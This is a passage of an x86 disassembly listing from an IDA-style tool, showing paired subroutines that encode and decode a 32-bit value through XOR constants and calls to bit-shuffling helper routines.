		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, (offset loc_4B9F6E+5)
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493EDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494001	proc near		; CODE XREF: sub_49568F+A4p
					; sub_499286+6Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 373364AFh
		mov	[ebp+arg_0], eax
		push	5
		push	1Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	0
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1
		push	0Bh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	16h
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0
		push	1Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	13h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Fh
		push	0Dh
		push	10h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	10h
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0CA088364h
		mov	[ebp+arg_0], edx
		push	0Ch
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 8CC61930h
		mov	[ebp+arg_0], edx
		push	6
		push	0
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_494001	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494121	proc near		; CODE XREF: sub_49568F+Dp
					; sub_4999E5+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFAh
		push	0
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 8CC61930h
		mov	[ebp+arg_0], ecx
		push	0FFFFFFF9h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ch
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0CA088364h
		mov	[ebp+arg_0], ecx
		push	10h
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF4h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFF1h
		push	0Dh
		push	10h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFEDh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	1Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	16h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		push	0Bh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF6h
		push	0
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFEDh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	5
		push	1Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 373364AFh
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_494121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494241	proc near		; CODE XREF: sub_4961D1+C9p
					; sub_49C74A+8Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 1D04DC3Bh
		mov	[ebp+arg_0], eax
		push	13h
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0A48425Ah
		mov	[ebp+arg_0], edx
		push	1Dh
		push	1
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Fh
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	15h
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	18h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_494241	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4942D0	proc near		; CODE XREF: sub_4961D1+Dp
					; sub_49C74A+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFE8h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	15h
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE9h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Fh
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE3h
		push	1
		push	1Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0A48425Ah
		mov	[ebp+arg_0], edx
		push	13h
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 1D04DC3Bh
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4942D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494360	proc near		; CODE XREF: sub_49961E+D3p
					; sub_49A102+14Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 68C88CD7h
		mov	[ebp+arg_0], eax
		push	0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Dh
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	11h
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0C5EF9B47h
		mov	[ebp+arg_0], ecx
		push	5
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ch
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	8
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Bh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	5
		push	4
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0C91C232Bh
		mov	[ebp+arg_0], ecx
		push	0
		push	12h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	9
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Eh
		push	2
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	19h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	6
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	9
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	12h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Fh
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	3
		push	0Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 830759F3h
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_494360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4944F6	proc near		; CODE XREF: sub_49961E+Dp
					; sub_49A102+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 830759F3h
		mov	[ebp+arg_0], eax
		push	3
		push	0Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Fh
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE9h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	12h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF7h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	6
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE7h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFF2h
		push	2
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	9
		push	5
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE6h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	12h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0C91C232Bh
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		push	4
		push	15h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE5h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	8
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ch
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0C5EF9B47h
		mov	[ebp+arg_0], eax
		push	11h
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Dh
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF4h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 68C88CD7h
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4944F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49468A	proc near		; CODE XREF: sub_498423+D7p
					; sub_49850A+AEp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 505FBF72h
		mov	[ebp+arg_0], eax
		push	1Bh
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	2
		push	1Dh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0
		push	1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	8
		push	2
		push	0Bh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	16h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 53C92B93h
		mov	[ebp+arg_0], ecx
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	19h
		push	3
		push	1Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	7
		push	0Dh
		push	0Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49468A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49477C	proc near		; CODE XREF: sub_498423+Dp
					; sub_49850A+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFF9h
		push	0Dh
		push	0Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE9h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE7h
		push	3
		push	1Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 53C92B93h
		mov	[ebp+arg_0], edx
		push	16h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		push	2
		push	0Bh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFEEh
		push	2
		push	1Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Bh
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 505FBF72h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49477C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49486E	proc near		; CODE XREF: sub_4986BC+C6p
					; sub_4997AD+185p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0ABD325F6h
		mov	[ebp+arg_0], eax
		push	0
		push	19h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 30673A26h
		mov	[ebp+arg_0], eax
		push	2
		push	1Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	5
		push	8
		push	0Fh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	17h
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	9
		push	0
		push	1Eh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0C427EFE5h
		mov	[ebp+arg_0], eax
		push	16h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	4
		push	0Ch
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	9
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Bh
		push	0Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ah
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0ACD06380h
		mov	[ebp+arg_0], eax
		push	16h
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	2
		push	2
		push	1Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49486E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4949C1	proc near		; CODE XREF: sub_4986BC+Dp
					; sub_4997AD+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFF8h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		push	2
		push	1Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	16h
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0ACD06380h
		mov	[ebp+arg_0], eax
		push	0Ah
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Bh
		push	0Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF7h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		push	0Ch
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	16h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0C427EFE5h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF7h
		push	0
		push	1Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	17h
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE3h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		push	8
		push	0Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	2
		push	1Dh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 30673A26h
		mov	[ebp+arg_0], eax
		push	12h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0
		push	19h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0ABD325F6h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4949C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494B14	proc near		; CODE XREF: sub_49512C+9Ep
					; sub_4980E0+9Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 59E58FBh
		mov	[ebp+arg_0], eax
		push	8
		push	5
		push	12h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	17h
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	19h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	1
		push	19h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	5
		push	15h
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Bh
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0
		push	17h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0E1B9593Eh
		mov	[ebp+arg_0], edx
		push	13h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	2
		push	6
		push	0Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	2
		push	14h
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0EE6548DFh
		mov	[ebp+arg_0], edx
		push	12h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_494B14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494C6D	proc near		; CODE XREF: sub_49512C+Dp
					; sub_4980E0+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	12h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0EE6548DFh
		mov	[ebp+arg_0], ecx
		push	0FFFFFFE3h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		push	14h
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
